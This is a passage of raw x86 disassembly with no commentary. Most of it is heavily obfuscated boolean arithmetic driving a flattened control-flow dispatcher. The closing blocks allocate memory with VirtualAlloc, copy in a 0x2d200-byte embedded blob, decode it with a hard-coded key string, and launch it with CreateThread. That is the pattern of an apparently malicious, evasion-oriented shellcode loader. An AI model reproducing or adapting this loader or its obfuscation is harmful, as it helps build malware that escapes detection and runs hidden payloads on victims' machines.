or cl, bl
or bh, dh
xor cl, bh
mov dh, ch
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, ch
and bh, bl
mov byte [ebp - 0x46f], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
and bl, 0
or al, bl
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x470], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
xor ah, 0xff
mov al, byte [ebp - 0x470]
xor al, 0xff
mov bh, dl
xor bh, 0
or ah, al
or bh, 0
xor ah, 0xff
and ah, bh
mov al, dl
xor al, 0
mov bh, dh
xor bh, al
and bh, dh
mov al, byte [ebp - 0x470]
xor al, 0xff
mov byte [ebp - 0x471], al
mov al, ch
mov byte [ebp - 0x472], cl
mov cl, byte [ebp - 0x471]
xor al, cl
and al, ch
mov cl, bl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x473], al
mov al, dl
xor al, 1
mov byte [ebp - 0x474], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x475], al
mov al, byte [ebp - 0x474]
and bl, al
mov al, ch
and al, 0xff
mov byte [ebp - 0x476], al
mov al, byte [ebp - 0x474]
and ah, al
mov al, byte [ebp - 0x475]
or al, bl
mov bl, byte [ebp - 0x476]
or bl, ah
xor al, bl
or cl, ch
xor cl, 0xff
mov ah, byte [ebp - 0x474]
or ah, 1
and cl, ah
or al, cl
mov cl, bh
mov ah, byte [ebp - 0x473]
and cl, ah
xor bh, ah
or cl, bh
mov ch, al
xor ch, 0xff
mov bl, cl
and bl, ch
xor cl, 0xff
and al, cl
or bl, al
mov al, byte [ebp - 0x472]
and al, dh
mov cl, byte [ebp - 0x472]
xor cl, dh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and al, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or cl, al
or dh, ch
xor cl, dh
mov al, dl
xor al, 0
mov ch, byte [ebp - 0x470]
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, al
and bh, 0
mov ah, dh
and ah, 0
mov byte [ebp - 0x477], al
mov al, ch
and al, 0
mov byte [ebp - 0x478], al
mov al, byte [ebp - 0x470]
and al, dh
or bh, ah
mov ah, byte [ebp - 0x478]
or ah, al
xor bh, ah
mov al, byte [ebp - 0x477]
or al, ch
xor al, 0xff
or dh, 0
and al, dh
or bh, al
xor bh, 0xff
mov al, cl
xor al, bh
and al, cl
mov cl, bl
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 1
mov dh, cl
and dh, 0xff
and bl, ch
mov bh, ah
and bh, 0xff
and al, ch
or dh, bl
or bh, al
xor dh, bh
or cl, ah
xor cl, 0xff
or ch, 1
and cl, ch
or dh, cl
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, dh
and ah, cl
or al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
and ah, 1
or cl, ah
xor dh, 0xff
xor cl, 0xff
mov ah, dl
xor ah, 1
or dh, cl
or ah, 1
xor dh, 0xff
and dh, ah
mov cl, al
and cl, dh
xor al, dh
or cl, al
mov al, dl
xor al, 0
and al, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 0
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, ch
or dh, ah
xor al, dh
mov ah, byte [ebp - 0x42f]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x42f]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
xor dh, 0
and dh, 0
mov bh, dl
xor bh, 1
mov byte [ebp - 0x479], al
mov al, ah
xor al, bh
and al, ah
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x47a], al
mov al, byte [ebp - 0x42f]
xor al, bh
mov bh, byte [ebp - 0x42f]
and al, bh
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x47b], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x47c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x47d], al
mov al, bh
and al, 0
mov byte [ebp - 0x47e], al
mov al, byte [ebp - 0x47d]
and bl, al
mov al, byte [ebp - 0x47c]
and al, 0
mov byte [ebp - 0x47f], al
mov al, byte [ebp - 0x47d]
and dh, al
mov al, byte [ebp - 0x47e]
or al, bl
mov bl, byte [ebp - 0x47f]
or bl, dh
xor al, bl
mov dh, byte [ebp - 0x47c]
or bh, dh
xor bh, 0xff
mov bl, byte [ebp - 0x47d]
or bl, 0
and bh, bl
or al, bh
mov bl, byte [ebp - 0x47a]
mov bh, byte [ebp - 0x47b]
and bl, bh
mov dh, byte [ebp - 0x47a]
xor dh, bh
or bl, dh
mov dh, al
xor dh, 0xff
mov bh, bl
and bh, dh
xor bl, 0xff
and al, bl
or bh, al
mov al, byte [ebp - 0x479]
and al, ah
mov dh, byte [ebp - 0x479]
xor dh, ah
or al, dh
mov ah, al
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
and al, dh
mov bl, dl
xor bl, 1
and bl, 0
and dh, 1
or ah, al
or bl, dh
xor ah, bl
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov al, bh
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bl, al
and bl, 0xff
and bh, dh
mov byte [ebp - 0x480], al
mov al, ah
and al, 0xff
and ch, dh
or bl, bh
or al, ch
xor bl, al
mov al, byte [ebp - 0x480]
or al, ah
xor al, 0xff
or dh, 1
and al, dh
or bl, al
mov al, bl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bl, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or al, bl
or ch, ah
xor al, ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, ch
or ah, dh
or bl, al
xor ah, bl
xor ah, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x46f]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0x46f]
and ch, cl
or al, ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or cl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
mov bh, byte [ebp - 0x46f]
xor bh, dh
mov dh, byte [ebp - 0x46f]
and bh, dh
mov dh, dl
xor dh, 1
mov byte [ebp - 0x481], al
mov al, cl
xor al, dh
and al, cl
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x482], al
mov al, ah
xor al, dh
and al, ah
mov ah, bl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov byte [ebp - 0x483], al
mov al, dl
xor al, 0
mov byte [ebp - 0x484], al
mov al, ah
and al, 0
mov byte [ebp - 0x485], al
mov al, byte [ebp - 0x484]
and bl, al
mov al, dh
and al, 0
mov byte [ebp - 0x486], al
mov al, byte [ebp - 0x484]
and bh, al
mov al, byte [ebp - 0x485]
or al, bl
mov bl, byte [ebp - 0x486]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
mov dh, byte [ebp - 0x484]
or dh, 0
and ah, dh
or al, ah
mov ah, byte [ebp - 0x482]
mov dh, byte [ebp - 0x483]
and ah, dh
mov bl, byte [ebp - 0x482]
xor bl, dh
or ah, bl
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
and al, bh
mov dh, ah
xor dh, 0xff
and dh, 0xff
and ah, bh
or bl, al
or dh, ah
xor bl, dh
mov al, byte [ebp - 0x481]
and al, cl
mov ah, byte [ebp - 0x481]
xor ah, cl
or al, ah
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, dl
xor al, 1
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x487], al
mov al, dh
and al, 1
mov byte [ebp - 0x488], al
mov al, ah
and al, 0
and ch, dh
mov byte [ebp - 0x489], al
mov al, byte [ebp - 0x488]
or bh, al
mov al, byte [ebp - 0x489]
or al, ch
xor bh, al
mov al, byte [ebp - 0x487]
or al, ah
xor al, 0xff
or dh, 0
and al, dh
or bh, al
xor cl, 0xff
xor bh, 0xff
xor dl, 0
or cl, bh
or dl, 0
xor cl, 0xff
and cl, dl
mov al, bl
and al, cl
xor bl, cl
or al, bl
test al, 1
mov esi, dword [ebp - 0x400]
mov edi, dword [ebp - 0x410]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x477f7c
mov eax, 0xb6e700ec
mov ecx, 0x232c8f84
mov dl, 1
mov esi, 0xd00be323
xor edi, edi
mov ebx, dword [0x4ac094]
mov dword [ebp - 0x490], eax
mov eax, dword [0x4ac098]
mov dword [ebp - 0x494], eax
mov eax, ebx
sub eax, 0x5744d2ed
add eax, 0xaa30f6fd
add eax, 0x5744d2ed
sub eax, 0x93e952cf
sub eax, 0xc2c20ad9
add eax, 0x93e952cf
mov dword [ebp - 0x498], eax
mov eax, edi
sub eax, 0xaa30f6fd
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x4a0], ecx
mov ecx, dword [ebp - 0x49c]
add eax, ecx
add eax, 0xbc548c20
add eax, 0xe1363c96
sub eax, 0xbc548c20
mov ecx, edi
sub ecx, 1
add eax, ecx
add eax, 0x121d2092
sub eax, 0xe1363c96
sub eax, 0x121d2092
mov ecx, edi
sub ecx, eax
add ecx, 0
mov eax, edi
sub eax, 0xc2c20ad9
add eax, 0
mov dword [ebp - 0x4a4], eax
mov eax, edi
sub eax, ecx
mov ecx, edi
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a4]
sub ecx, eax
mov eax, dword [ebp - 0x4a8]
add eax, ecx
sub edi, eax
add esi, 0
sub esi, edi
sub esi, 0xd00be323
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x494]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 0
mov cl, dl
xor cl, 0
mov ch, al
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, dh
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, dh
and cl, ah
or ch, cl
xor ch, 0xff
mov cl, dh
xor cl, 0xff
mov ah, dl
xor ah, 1
or ch, cl
or ah, 1
xor ch, 0xff
and ch, ah
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov bl, dh
and bl, ah
or cl, bl
mov ah, al
xor ah, 0xff
xor cl, 0xff
mov bl, dl
xor bl, 1
or ah, cl
or bl, 1
xor ah, 0xff
and ah, bl
mov cl, al
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
and al, bl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, dl
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, ch
and dh, ah
or cl, dh
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, al
and bl, dh
or ah, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
and bl, 1
or dh, bl
mov bl, dl
xor bl, 1
mov bh, cl
xor bh, bl
and bh, cl
mov bl, dh
xor bl, 0xff
mov byte [ebp - 0x4a9], al
mov al, ch
xor al, bl
and al, ch
mov ch, dl
xor ch, 1
mov bl, ah
xor bl, ch
and bl, ah
mov ch, byte [ebp - 0x4a9]
xor ch, 0xff
mov byte [ebp - 0x4aa], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x4ab], al
mov al, dl
xor al, 0
mov byte [ebp - 0x4ac], al
mov al, byte [ebp - 0x4ab]
or ch, al
mov al, byte [ebp - 0x4ac]
or al, 0
xor ch, 0xff
and ch, al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x4ad], al
mov al, byte [ebp - 0x4aa]
xor al, 0xff
mov byte [ebp - 0x4ae], al
mov al, dl
xor al, 0
mov byte [ebp - 0x4af], al
mov al, byte [ebp - 0x4ad]
and al, 0
mov byte [ebp - 0x4b0], al
mov al, byte [ebp - 0x4af]
and bh, al
mov al, byte [ebp - 0x4ae]
and al, 0
mov byte [ebp - 0x4b1], al
mov al, byte [ebp - 0x4aa]
mov byte [ebp - 0x4b2], cl
mov cl, byte [ebp - 0x4af]
and al, cl
mov cl, byte [ebp - 0x4b0]
or cl, bh
mov bh, byte [ebp - 0x4b1]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x4ad]
mov bh, byte [ebp - 0x4ae]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x4af]
or bh, 0
and al, bh
or cl, al
mov al, bl
xor al, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x4b3], al
mov al, dl
xor al, 1
mov byte [ebp - 0x4b4], al
mov al, byte [ebp - 0x4b3]
and al, 0xff
mov byte [ebp - 0x4b5], al
mov al, byte [ebp - 0x4b4]
and bl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x4b6], al
mov al, byte [ebp - 0x4b4]
and ch, al
mov al, byte [ebp - 0x4b5]
or al, bl
mov bl, byte [ebp - 0x4b6]
or bl, ch
xor al, bl
mov ch, byte [ebp - 0x4b3]
or ch, bh
xor ch, 0xff
mov bl, byte [ebp - 0x4b4]
or bl, 1
and ch, bl
or al, ch
mov ch, cl
xor ch, 0xff
and ch, 0
mov bl, dl
xor bl, 0
and cl, bl
mov bh, al
xor bh, 0xff
and bh, 0
and al, bl
or ch, cl
or bh, al
xor ch, bh
mov al, byte [ebp - 0x4b2]
and al, ah
mov cl, byte [ebp - 0x4b2]
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dh
and al, 1
xor dh, 1
or al, dh
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, ch
xor al, 0xff
mov cl, ah
xor cl, 0xff
xor dl, 0
mov dh, al
and dh, 0
and ch, dl
mov bl, cl
and bl, 0
and ah, dl
or dh, ch
or bl, ah
xor dh, bl
or al, cl
xor al, 0xff
or dl, 0
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x490]
mov edi, dword [ebp - 0x4a0]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x477f7c
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, str.jR2V5dCirOxvIZeNAyPbRhnY
push eax
mov ecx, esp
push eax
mov edx, esp
sub esp, 4
mov dword [esp], eax
mov dword [ebp - 0x4bc], edx
mov dword [ebp - 0x4c0], ecx
call fcn.0046f170
add esp, 4
xor ecx, ecx
mov edx, 0x2d200
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x4c0]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2d200
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x4c8], edx
mov dword [ebp - 0x4cc], esi
mov dword [ebp - 0x4d0], edi
call sub.KERNEL32.dll_VirtualAlloc
mov ecx, dword [ebp - 0x4bc]
mov dword [ecx], eax
mov dword [ebp - 0x28], 0xc01018f3
jmp 0x477f7c
mov eax, 0x2d200
lea ecx, [0x47c024]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [ebp - 0x4d4], eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov esi, esp
mov dword [esi], edx
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4dc], ecx
call sub.msvcrt.dll_strlen
sub esp, 0xc
mov ecx, dword [ebp - 0x4d8]
mov dword [esp], ecx
mov ecx, dword [ebp - 0x4dc]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [esp + 0xc], eax
call fcn.0045c870
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x4e0], eax
call fcn.00401460
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], 0xf5d0be18
mov dword [ebp - 0x4e4], eax
jmp 0x477f7c
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [ebp - 0x4e8], eax
call sub.KERNEL32.dll_CreateThread
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
mov dword [ebp - 0x4ec], ecx
call sub.KERNEL32.dll_WaitForSingleObject
mov dword [ebp - 0x28], 0x297a3391
mov dword [ebp - 0x4f0], eax
jmp 0x477f7c
mov dword [ebp - 0x28], 0x9cf2b50
jmp 0x477f7c
mov dword [ebp - 0x28], 0x803c32fe
jmp 0x470460